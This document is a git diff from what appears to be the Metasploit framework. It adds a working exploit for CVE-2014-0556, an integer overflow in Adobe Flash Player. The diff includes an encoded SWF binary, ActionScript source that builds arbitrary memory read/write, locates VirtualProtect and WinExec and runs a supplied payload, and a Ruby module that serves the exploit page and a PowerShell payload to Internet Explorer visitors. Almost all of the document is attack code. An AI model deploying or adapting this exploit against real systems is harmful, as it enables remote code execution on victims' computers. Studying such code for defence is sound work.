zA|A~}Ml!Se&+p+m*5~TzT7)B#qQ+B05^(T}0QYOS3CP!6X%t;nQ0Nxmc4|<GdPH*I
z!e|nHu92ES?x_D(ZImKi`m}tyl9@TulLBFnWbR_jEPG(8`+ZZTClpD`QqnVKjq~%(
z_2<_CQ1DV)FldBB<c?{^1#o^^e(~(@`SrroiA0-^P7LTwm$~7Y62$Nj4;1|rz)sOp
zYxnn1%|k=h(DE8B4F`KswqTn@R6rT<3)&JPY<gmZ60X;G)G$9F=(oX-{=+NjILHD2
z4nu3>l+E;GQc`n(gtd9k`o^z*y)Kvzqq3FuURcIn@QmZ-=2B=6u6Qj!;E{8_!LpFh
z4?p#CfXMjC2+5We%u&nAn5yvC3Vk#-L^r@<6EYXMb&r)@ZLhep<dJN9fOUp%DMA&i
zC!!ctr{o}Y=Rq^1lW<=jkjZ%XUBu86q5G&1ldijFO(K$gXfY0$d&9~57)BR9q%rbL
z3PgE=B09;1`2nQ}Ig%X6L(9kn^nCaR?%gIkw$qFEIzRbhh)~Y3N>32r@nm6Xua0ft
z8Cd0s0NKO0gQ23Ko?$NTiZ_Nx%ERvALF@>HsIwTg1L_^5UnMceE60vmWc~Ift+O3;
z=3&cK+U68*q!aK(r_Csmfa}E-6!6{zxS_U+$SI^cKr9=moj7*>>SZrd0K@E&FqsB-
z-gHXL)X$L;%p29c!J&(Ka8yP<kFtyrs^7VsWhR**IZsM9v7t^X47~#xvoI8Lua9P@
z<8+tNCz=`{uSf5Dg)|9Tz>IankJ9=gZXL`@umJVVVjxFd&UQA}xEs!V>Z((<luF7`
zh<_Y0+UXq)K~AJYmh2VsK_4uxsC6L1Hou*utih25x^{(OV0iIU91~?xYWABHV7Gf!
zphKDGp$TZg&VfnRjN5Zrek3ugWG#<Uk**<hrEE`=QqMoN%IhZQ;c5X-RXgHdV(und
z-ZG;{3*SHveKvaEVdrHO#!frMlxci{(KVGdA>vvy1tZZ0t0GTXvbSd)gE~;xbr+P+
zpOlAgM&=zS67fhM_6r=WQ5YPGUa0iT-_eCvBztF-eTow6^?|uLEU@I<>s+whUt4yT
zXwuQi@_><EU^UH_vR*h7#9=+H0c0Rr-#Z8_0gGObZvtOcdGdXo@mA;(Ka7(XLZ}f9
zo@2{~$94@y7zk13m_==b>d$nD*nnWy0R}0;h2}ui7GQl5wTLKQipjQl8V+>r)t&;b
zYmy^!dzQn~0;+-y5nFXSc%U%Q1N1KHubSD|nH84n&4@}Df%^LiNy7RcWqa%moO%l-
zCo;4*M$o>o{bh+oie&+lR(ouFkoMcSC>xg&w@kM7z-h*gh*X4(o<$%1N>H&6lW%4p
zr;Sq_omDfyIwS8{#nf}?h9DMrd1t$y9c_1H^e8fZ-3^^P&5!Rfr(_rW&Rt{87D-bd
zRKaAVCddO4VoeRRvsTvKSS54dY{VtS4f8UZunUh(C29oh&KVSAMoHm`VZvZ5nrVx2
z2Ual<@IM&XPeW3VZbi)Ld$3rL-6^15oboJY0o;1eum!O-Wi|fx@nq{mb7zL|&PxO;
zad9yH?dL)~1#z1rNGV$&Ypym&m0dzf4*AnKB8v9NZ<*5#JuuayuTYYy{hd4~RPor0
zc7ID<10|m$XYumBE2vPC7Dx{NM5Tl&p3ui!;_x$%Ewg;2J4SAiTyVWD@B4IW01(Jo
z#^!glk<5Eap>R~`3aH-<fr#{p=%6gC)Tx3-!O8UB)zxZoAv7TN(BoT%%6ah)j1-Uu
zq1khkeR3#yF`~I={HHnUh<A#fv|3Sy|FppkS7cF;O7iVl8-(z`ZWAVHgWjaqvI~dB
z^z?I|gv>a0rmREl)Yf&%Xm#HgTm;bQ?z}axu|MqdKi>L!&k)yw-OSh|W_gbtEWsgm
z<DcA*$QSvnZ67^x1SK58;?+F_O9f90<$}Qgx4V+k6-AT&Zbw|af(%4#80cf|eBY3$
zdVgh6?_OUNjN%fy`gs+?Hw^sZBDeYi0F_jNS#LO|gfF9ubGRR!t0mqU8o8tpH@I<J
z0Mc(#;7YhTImLTsAjQNzi01*f{0uta?(2AETES(`R@P%6Ax|Y5qJJ!!!gH#^G4fZw
zT1c&(87&@fpHMCr(J)BwtB}MDH9F~p{)~a&or}>j$R+S_M8qZi+ZrYmnqtS>)btW@
zrMJt<q}K}ht?G-3K@B!V0T3ONuLb1WM<L9}<eA)Yyz0h<;@I79_@g~uvL&qydNmdh
zJ#^b}=ktO_<DYDtg!adJI>!D&NA6dh7;ajN`gZ=6s08&?%>K+HBpQX?;Kl;phr>FZ
z2x%Vr7M#jb#>mqCF%bZW^(ICT*rq*x4qOnSSim2<DwpW509h6$MGy}#y=yrpjyRlc
z&6M-GX#}r5V-m-h<l@}!{BG|bwM3_9K16eWHLkE|+8ayT(Frua?=v5D2+vl=>{pJ=
zGUy~q9m5d2M+pu5tTe_HOUF_f5-NF0LJX*ss{8@a_>a<h{Q9s3N^BPP4!`IZ8Tycg
z<1B{*Y~hG$A|h+iqdAbkaDWghM7E!*+NW3JIww;s{lnF&iXpEyZrvb&eJ-)g;-rLA
z=`Fq3<<Z>K!G3YP{+h<bgbJa;4vJs^wtc;l@>3w=9uB`M+z-I<6i_ehZR|;lE3}rM
zCv!}oBs@$}udNWGVQ)AsD3Er^&$~nFyA3L|q+%ANLaTH62i7eM$09vT0=)lGO%^~x
ziin{;F5Y)#08SEpE$-Aqp6mMb$daN=uc2h;s0gTgnt%UIvS#nMxli5^yQrAobV$aJ
z?&7)3K3oGQnwt$kB(MJ|!neu_9}2nkDd?s;lmBb&9maF@urdll9;b#I^#PdrHb`6q
zdYYOCP+4cq#?tukjv4ZZ#xFjj&CCsY85TKAcWCMXs2@X$l@ThZ&F<1C1%L-2r2{II
z9Kxar=wI$j@{Qt3s)riqFKHnzNQB=|-oz=8^MfWvlBoyu`8^@l5x}u4pEb)o3<OFT
z4!*Sx%KJb83j8Y|&W-`d*P<E!2IBT$5F@w;Y8A&vDc-g}r)#W%f5q~b+C#e5bf^!w
zU~*$_IZqG;sqfmM%vr{1vXhINgfn_SQ2C5~``h;odM%(A3luz~jqT8qkc>hbviYi1
z@{qMc&^4n6824wF*8zKPf^OIM{w(x&PQYtVHHt=jXaO6o4eQ1qDr#Bz&ct0>Ldi~$
z7Ce$}a3;bcmrg9XRq|@cT`;$hJoFwYl50OgD}FVwQfih)KgebbE%O%SDUqw(mn>%{
z_x=O_X^f6kcV~fSqQ~9}(ueXZG3ZwBj0?_x<{R)^<DH|GHWnNL*1t8PfU$x1sNF!y
zo+I&zHY^NzhT~}6x53Cmm|3f$1L(NEQ@o1;kGUZ@F>F3bN^LmU0q0xYO81Z01$cO$
z)dJPKZV<*7dFQQ!6zGwRgJXzFSGWn}QMUp?VTIfS_`osFlg*|!!%s?~VZJDkF`FF0
z<CEA$nv{;+(2uK-Q0;ZZW~9MXb3mT6x_umec~bkr|D1}Kh<fllCE-O}jONtVwF;sI
z%rq4ix|;zgeTP^d62SQy$mh%~K3ESTxp-OvyYqISU1<uq)XC}EL9r?T^!u^e(998u
zR|EVMJ{MW>??668)^{qJ(-5Iet*??FX`h$(gSmezH&7#(*riI=r<OU!JoJ|b>oaI<
z`UL%g8N8T88G`QJ<p2I;nFFUg++HR$uA`dd<uWQ?{oL~{Ht^Si&C$HLF=6{4{wods
zBj9}&TRZ~K)*@sTCwyMa)Qt9%n|}vmJ=A7BDH^Sp<?zfu8T01&9bjk-n$*k-rA6MN
zIHBB0d?Tg{pvXQOlN)nLK6~-M%w^qFF}1G6X@4qWZ84&47Pnt%MK1oh&8Rl23_6*a
zZu@1hXcz{JtIh&R418W(<eX``v&~^LIAj)qeyo9wT988s>%D@90OI>T2`<0!701Oa
zX|cL>R}55lJo6R-+(GJm&D6W&p=T}*9AbPADX>)VmTZ9xdbU^T*Ok6~gXcnUki5fK
z|FffSQM~W#Rk}r#)G9?8OU4=v9oNr7(+2QyK2MXh&)+MGWmYyp4{<n2iGcRu8oLP;
zY(3{50{{)ZtmFPTs=uF8-dc0D4;K)`1Q5dY^f9C<@)z!d7wZHF%ciKe$U!~4gV3N>
zE8kWOMXn$lj&Q`sxOuU*{MeVdMn8qE6Yb|wd%X~{FEXw14`al7G}NHf<cj=gdhh<m
zH(Sfr<@1Q*Krd8mw{fprk4d3jaF3BLSR^P~2K0f+qHD7+lfLo!JpIQ-VCh(`WONh9
zkd97Cra))fjBDqq3<|eYCQiQ5&~u?_K?%%T{!<hrJ2gXFIgNdLJbEx;Uzn}LxM(ct
zpQG(%C(aZ2#C-`W9h{fh;uS!T*Ur(Aag{!k<*BixL$m%!L@P9jL4EymX_k^521Pzw
zF{1rZ4#P&p<>Rg`L6woKJiH-f>hwtpo{K7N=T4a*OCvLOE(jy1@pS|@ur{F7Y6k>P
zo2YO^gUPY;Yu=|8k(;Zz?L-6@B;JHYMdK!b?jazSM`B~6BTn0_G6YW@4e3iA9+fnC
zFcU<8d=vS~LMp3}pwp7wiXfO0zDADf-hS=OfMKu$HvSUT6B63%WVQLoyFBWhR7gRW
zPVlZF?WRIa#g`R^(T_*!wnQjJ6ck+S#p%ak*10$&?q7L-coG3pPS-wqJh_e5Q*GA8
zCw{!AzRbjd=NObPm~T=_QI_G&VZGPxpE5~fIs8P=233ATE5lPhZ5>6~n`K>h=aHIS
zw7)uc^}6K8L-PHLrmJ*gns8m=<RP7IljCj8akDpDRfP!->cglK`dfBCPNZ!J^(mn|
zm^sn91rGq3u=HwWKY#%LJV;6zBENkyW&re@+oHW%&jg>mNW^5tS4u`ZxZ0PZL5Gbo
zJGQj){I``Tk2NL<-i_Xo?fC=%PXJNT*0zRPhoWz{1!(WERJhD$UnVb5<ui#*Pj2PI
z1^^TJ<w}`DcmZRZhwAR7;8Q+&%lMeEtfE&-Qz#6hjfyOed(jkXV4yw6_xLsdFA0w9
zsx|vhMpa|BtU;4jrZ;0Ok8=pmkQ>X(Jen!n!O8<YXmk7gX4hE#uHhA?h>tbcW%R#1
zT;s6eSOBl8GT_*yXd(Y}0piW;!yR;tL4!?9p1HGp;h-u)U+iH4;M7;Pfq{}j4+Rxk
zv*(Lcm^7_f<9tBocNU)I+5I@#iK2yZH58eY5B^9dobn?2>NNu2QL}IL7?(EJvrhx&
zV*IoGaS-XTNN_OHGWoAnP_5NemPe|*nE5q&VSw}eF)`&EdMXteBOE6II`iLmM$(=#
z(g@hc`9MOrYux+R+kd?Oa)LyrGM(xlh@9v-f$e$FJEh^lPpjMKufs=cC+s=wYS>C<
z1q2yQ<SY0e8Sl~NR?N=nBX6$jQT5blZt$vRo8kEAU=XutsWT8&vj`U4pwt+T(#z8k
z%c%GswLStI(T6_vgx3&VQ$ca{7(!SBo#wuJ?F%{6%P6&|v!|->CZUt1=*PI)1*9Qt
zy~FJ41$MmNN~fxnlH^q^ceRca9z^D9+&^aihlOx*Go!LDepN~?W4!{tl`h#=lG{U&
zpAL^BAjkB$2dwjvwK&kRS9+wWgyPsSxyD%)7r9#=I7^>IGnl{3Blj2b0E+2ToFVy4
z**wIZ8qWL&D%bqRRZsR;cnyl?p~+UxC7FRj5`|?@$LHnK>mhs-4i3{C?(Ch`<|*qP
z@ITIyo=-Gj8XjVa4K|ttH7yIC1$3k=$_y~J_ZqQr(t93=V99h&0Jir#R-&mtUA{#L
zef82tzAcJC80M^%dR<7ey{jB<_Cgzprv^JD2N*WVU}Xj$UQ0>bDD_A*#(JD?FuY+`
z1PTuG#}stS@ys8)ar5y1SW|=I-Lfc-Fr{<6=&#pbcbwO+IAGH#di!3KYq7g(vQL{_
zo#cLkM^_&|$~<R2y5({@dKhEB70Fn*sz(E+%O$`!nZkTdMCcD7rzJXHEMsQi0{WYP
zT3STW1ID@CQeDvM7?%a0XZl=bENvC2J6IGP5=S>+?ZJ)##^J<gW^k7W!olv2vcy&(
zu*Wl9$<TmXh9~~29PspGWeiS$hLK(lkaoulq7|()sZ_s{yw7L}2bIAD*sGloN;Z43
z4FvU1#haEZn;H{zS7Nfi{eM7W==1U0%JW`nX%VI{UtvhEinTG@v$qliY#X$rcr2Uk
zxuM5wsk4QdRN0*3x1Q;4VLZ}^HDs+NRM%eKs9tH?5~jkEx}Tg`tM8#nlx>1vH(W+`
zTW&mF6ereyoQX&uhku!!4bdpIXa9U2Lm3&HxR|1Y2N;(>G?hYIiTIXQm2<Wf>bI21
zmkzq<_OD-b3W8zoZJ3ngb#O9dMhebqU7x^!436~X9CF8BT*(?mngI4WV+xF_upsrh
zI6r@^`CP=MyF|+~r+78P9f!pnK@0$Qxg&^zh(hBDihB*;i1FQ+mUZLcA<H8W8}iMW
z!dpeG0|I0s%fONf3f6-E!4wE4$->!UQd{;qObq4q-N5ffO^Bc?-h>ivE&jvzgLk@D
zeL1OcXaOz6D>nJIR(2cb!z*ZgMO*D0#Nz?tYLTxz5l|jr!?r5PMF5Q>UEW);J~2dP
zehpM2Rt7aFjE>pyx0a6SopJ+IC>xIM0Z9e6`u=C6LgNDG1#fBQ^lPayV61y{9!J!;
zZD_K-N72NFO`Z$|@)~g3{H$Jy)8{bay$qm|3E+cz{Kk9WFc)-L1W;5^+jRi_JK{+r
z5P7MJ6M<%KuH7#hz4x7xRX~gx6s-G$mW7*-owUswzvT2A=-NZnJx(AwHMIS30C;bS
z%irc=RY7_QWUWB;6jkaN`iZp51Ba)XUm~_<H(ZN6r7%4!i}|^9w#%5F!`sE_5%T&Q
zM}krE>9JwaNjk=bG-kDtaAK0Uf=?jdV~2c$QRJ-N<PF!_l-J;{-%<o-Eq?a6^mYAx
zw~fuY@rmf_7Vs(Wl;&^bv{7ot8al#WB(+ihyg4mB>d>)t81Yu3P{N^hei2}{{!3?N
zBL|N%d%I{5;~X>$-J6Gs-d33Tn+#r~ab61IUZdkj8h9*BYU@=idC5r$Aj0t<f>7g&
zYuvYqC!;vjINpBmy{9-NPWxKvVy)pDp;@GHv>ca)Ci%9U$u}w(C`%X@iJTT40%K_Y
zCyy+sGhC26E_`)MR*1~Y6LDViECiM{WeEKiUB(!W`0)mgLLsq8Fq`e$pXQo}%(Vq)
zGg=F;Y5hcAXx%+a`tB#ZL92DpN%%w3Ie{!CLa%sXP`^MMY4D8d{xp#5&^N6Y)-zlf
z@LEZ<i!jI&@anNkANf?hL;&YL&$0O|U?z#;|3?b@)q|03lKw(lkuFIzj8cs8o7A5I
zyH`~>q1L)0Jw`=DxaGJ~Q_d-T%kEk8n6Vm~oR$WW(cwxj51a>{d)V;qlJNN%XF6iB
z(XI@+ANx69)I5=;vK)~&l9sQQ6IzX6t_%&u3ue}Dhk*#N@q3e4!n%F6>S#fA9h-ia
zF0ruEDppHAoKLkFv`tzrfBl9I{bnN)m0HdYU<)DWkMrJg56BYeamb+l6USvMZ}jEk
z^b^<*B6&s;1L3!>v#jLT^kU)Yk!eD)5?Rz)b<cgdRiB3>@FSg9XUBIvnAX8RIj5N|
z)}#6iroXMx$%rv<3qihQkuF&wB9sL0%jOE!6MJLza1p$A8#@h_(l|zP(Za{U8B;VT
z?$qUC$*lvY_MviB=kN>6$T9F3QlQoca0Ca726e0$*Q2}Zz@uCjiqgc8kN@4z(3IGr
zz>FN_DBwW^pTFafu~}mJSu>i}_8dC}EUnqrT-Ad)Og~X{2FV27eB5HVc7;8juX<?z
z=#CfHu{ZWc=!qs|)8BvRzCXMgd=*;Gpx8`bzg<&VsdT~JKya{K>;UhneT>9g$JP7=
zIc3QsspcEd`V_3h;KfaIFAn9We04C)ceRzW-3xjMK&EhrJ1^!gR{2dz*6f4!LIkfE
z&M-h&0xbVG>a*8HlNrTHKW8WOk9dSHWu0n_F-ey`=ULP>{9Vl|9N`~2SKz@@F2ZY{
zG~mWdeh{AV0Xmw3M^(|PkB(^EvM$;=5#A|-8M9fi#2(8MPtKhwVF=q&-2THDnC^!r
z;$EQtdAho3B+P99?6dIa!>}qSOzxWLi0MF3JQNOE2VJ4LpO2g8zONrumx4nFVad1t
zy$}IPfdM@E-0}NI<V<&28WxaG#d2Jlb|r4*H$rZ$`2|&jr}O_m;CR2;53VWfqDB9t
z8)}T?^<xBES7a~p^^1MfHKB9Zi4#C-xIQ*mam46ILN`_W2SWVu=XWhTeR=3oq30Q*
z!n|qM*L%Bt#hdT6ZPT6sbup3lSIf5@8+H8fH?BObu_Ue(F6S(mMyz=kmCXpD+Mx78
hOviey76*Axdv(R*#*ilqcOVB*yxE6~y#M~NtblUdJr@7~

literal 0
HcmV?d00001

diff --git a/external/source/exploits/CVE-2014-0556/Main.as b/external/source/exploits/CVE-2014-0556/Main.as
new file mode 100755
index 0000000000..99364ccd47
--- /dev/null
+++ b/external/source/exploits/CVE-2014-0556/Main.as
@@ -0,0 +1,182 @@
+// Build how to:
+// 1. Download the AIRSDK, and use its compiler.
+// 2. Download the Flex SDK (4.6)
+// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
+//      (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
+// 4. Build with: mxmlc -o msf.swf Main.as
+
+// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
+// Modified to be used from msf
+
+package
+{
+	import flash.display.Sprite
+	import flash.display.BitmapData
+	import flash.geom.Rectangle
+	import flash.utils.ByteArray
+	import flash.display.LoaderInfo
+	import mx.utils.Base64Decoder
+
+	public class Main extends Sprite 
+	{
+		private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
+		private var uv:Vector.<Object> = new Vector.<Object>(12800)
+		private var bd:BitmapData = new BitmapData(128, 16)
+		private var i:uint = 0
+
+		public function Main() 
+		{
+			var b64:Base64Decoder = new Base64Decoder()
+			b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
+			var payload:String = b64.toByteArray().toString()
+			
+			for (i = 0; i < bv.length; i++) {
+				bv[i] = new ByteArray()
+				bv[i].length = 0x2000
+				bv[i].position = 0xFFFFF000
+			}
+
+			for (i = 0; i < bv.length; i++)
+				if (i % 2 == 0) bv[i] = null
+
+			for (i = 0; i < uv.length; i++) {
+				uv[i] = new Vector.<uint>(1022)
+			}
+			
+			bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
+			
+			for (i = 0; ; i++)
+				if (uv[i].length == 0xffffffff) break
+			
+			for (var i2:uint = 1; i2 < uv.length; i2++) {
+				if (i == i2) continue
+				uv[i2] = new Vector.<Object>(1014)
+				uv[i2][0] = bv[6401]
+				uv[i2][1] = this
+			}
+			
+			uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
+			bv[6401].endian = "littleEndian"
+			bv[6401].length = 0x500000
+			var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
+			var main:uint = uv[i][0xfffffc09] - 1
+			var vtable:uint = vector_read(main)
+			vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
+			vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
+			byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
+			byte_write(uv[i][0])
+			
+			var flash:uint = base(vtable)
+			var winmm:uint = module("winmm.dll", flash)
+			var kernel32:uint = module("kernel32.dll", winmm)
+			var virtualprotect:uint = procedure("VirtualProtect", kernel32)
+			var winexec:uint = procedure("WinExec", kernel32)
+			var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
+			var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
+
+			byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
+			byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
+			byte_write(0, "\x89\x03", false) // mov [ebx], eax
+			byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
+
+			byte_write(buffer + 0x100, payload, true)
+			byte_write(buffer + 0x20070, xchgeaxespret)
+			byte_write(buffer + 0x20000, xchgeaxesiret)
+			byte_write(0, virtualprotect)
+
+			// VirtualProtect
+			byte_write(0, winexec)
+			byte_write(0, buffer + 0x30000)
+			byte_write(0, 0x1000)
+			byte_write(0, 0x40)
+			byte_write(0, buffer + 0x80)
+
+			// WinExec
+			byte_write(0, buffer + 0x30000)
+			byte_write(0, buffer + 0x100)
+			byte_write(0)
+
+			byte_write(main, buffer + 0x20000)
+			this.toString()
+		}
+		
+		private function vector_write(addr:uint, value:uint = 0):void
+		{
+			addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
+		}
+
+		private function vector_read(addr:uint):uint
+		{
+			return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
+		}
+		
+		private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
+		{
+			if (addr) bv[6401].position = addr
+			if (value is String) {
+				for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
+				if (zero) bv[6401].writeByte(0)
+			} else bv[6401].writeUnsignedInt(value)
+		}
+
+		private function byte_read(addr:uint, type:String = "dword"):uint
+		{
+			bv[6401].position = addr
+			switch(type) {
+				case "dword":
+					return bv[6401].readUnsignedInt()
+				case "word":
+					return bv[6401].readUnsignedShort()
+				case "byte":
+					return bv[6401].readUnsignedByte()
+			}
+			return 0
+		}
+		
+		private function base(addr:uint):uint
+		{
+			addr &= 0xffff0000
+			while (true) {
+				if (byte_read(addr) == 0x00905a4d) return addr
+				addr -= 0x10000
+			}
+			return 0
+		}
+
+		private function module(name:String, addr:uint):uint
+		{
+			var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
+			while (true) {
+				var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
+				if (!entry) throw new Error("FAIL!");
+				bv[6401].position = addr + entry
+				if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
+			}
+			return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
+		}
+
+		private function procedure(name:String, addr:uint):uint
+		{
+			var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
+			var numberOfNames:uint = byte_read(eat + 0x18)
+			var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
+			var addressOfNames:uint = addr + byte_read(eat + 0x20)
+			var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
+			for (var i:uint = 0; ; i++) {
+				var entry:uint = byte_read(addressOfNames + i * 4)
+				bv[6401].position = addr + entry
+				if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
+			}
+			return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
+		}
+
+		private function gadget(gadget:String, hint:uint, addr:uint):uint
+		{
+			var find:uint = 0
+			var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
+			var value:uint = parseInt(gadget, 16)
+			for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
+			return addr + i
+		}
+	}
+}
diff --git a/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb
new file mode 100644
index 0000000000..668fecead7
--- /dev/null
+++ b/modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb
@@ -0,0 +1,110 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Powershell
+  include Msf::Exploit::Remote::BrowserExploitServer
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'                => 'Adobe Flash Player copyPixelsToByteArray Integer Overflow',
+      'Description'         => %q{
+        This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs
+        in the copyPixelsToByteArray method from the BitmapData object. The position field of the
+        destination ByteArray can be used to cause an integer overflow and write contents out of
+        the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit),
+        IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125.
+      },
+      'License'             => MSF_LICENSE,
+      'Author'              =>
+        [
+          'Chris Evans', # Vulnerability discovery and 64 bit analysis / exploit
+          'Nicolas Joly', # Trigger for 32 bit, according to the project zero ticket
+          'hdarwin', # @hdarwin89, 32 bit public exploit, this msf module uses it
+          'juan vazquez' # msf module
+        ],
+      'References'          =>
+        [
+          ['CVE', '2014-0556'],
+          ['URL', 'http://googleprojectzero.blogspot.com/2014/09/exploiting-cve-2014-0556-in-flash.html'],
+          ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=46'],
+          ['URL', 'http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/'],
+          ['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0556-adobe-flash-player.html'],
+          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-21.html']
+        ],
+      'Payload'             =>
+        {
+          'DisableNops' => true
+        },
+      'Platform'            => 'win',
+      'BrowserRequirements' =>
+        {
+          :source  => /script|headers/i,
+          :os_name => OperatingSystems::Match::WINDOWS_7,
+          :ua_name => Msf::HttpClients::IE,
+          :flash   => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <=  Gem::Version.new('14.0.0.176') },
+          :arch    => ARCH_X86
+        },
+      'Targets'             =>
+        [
+          [ 'Automatic', {} ]
+        ],
+      'Privileged'          => false,
+      'DisclosureDate'      => 'Sep 23 2014',
+      'DefaultTarget'       => 0))
+  end
+
+  def exploit
+    @swf = create_swf
+    super
+  end
+
+  def on_request_exploit(cli, request, target_info)
+    print_status("Request: #{request.uri}")
+
+    if request.uri =~ /\.swf$/
+      print_status('Sending SWF...')
+      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
+      return
+    end
+
+    print_status('Sending HTML...')
+    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
+  end
+
+  def exploit_template(cli, target_info)
+    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
+    target_payload = get_payload(cli, target_info)
+    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
+    b64_payload = Rex::Text.encode_base64(psh_payload)
+
+    html_template = %Q|<html>
+    <body>
+    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
+    <param name="movie" value="<%=swf_random%>" />
+    <param name="allowScriptAccess" value="always" />
+    <param name="FlashVars" value="sh=<%=b64_payload%>" />
+    <param name="Play" value="true" />
+    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
+    </object>
+    </body>
+    </html>
+    |
+
+    return html_template, binding()
+  end
+
+  def create_swf
+    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0556', 'msf.swf')
+    swf =  ::File.open(path, 'rb') { |f| swf = f.read }
+
+    swf
+  end
+
+end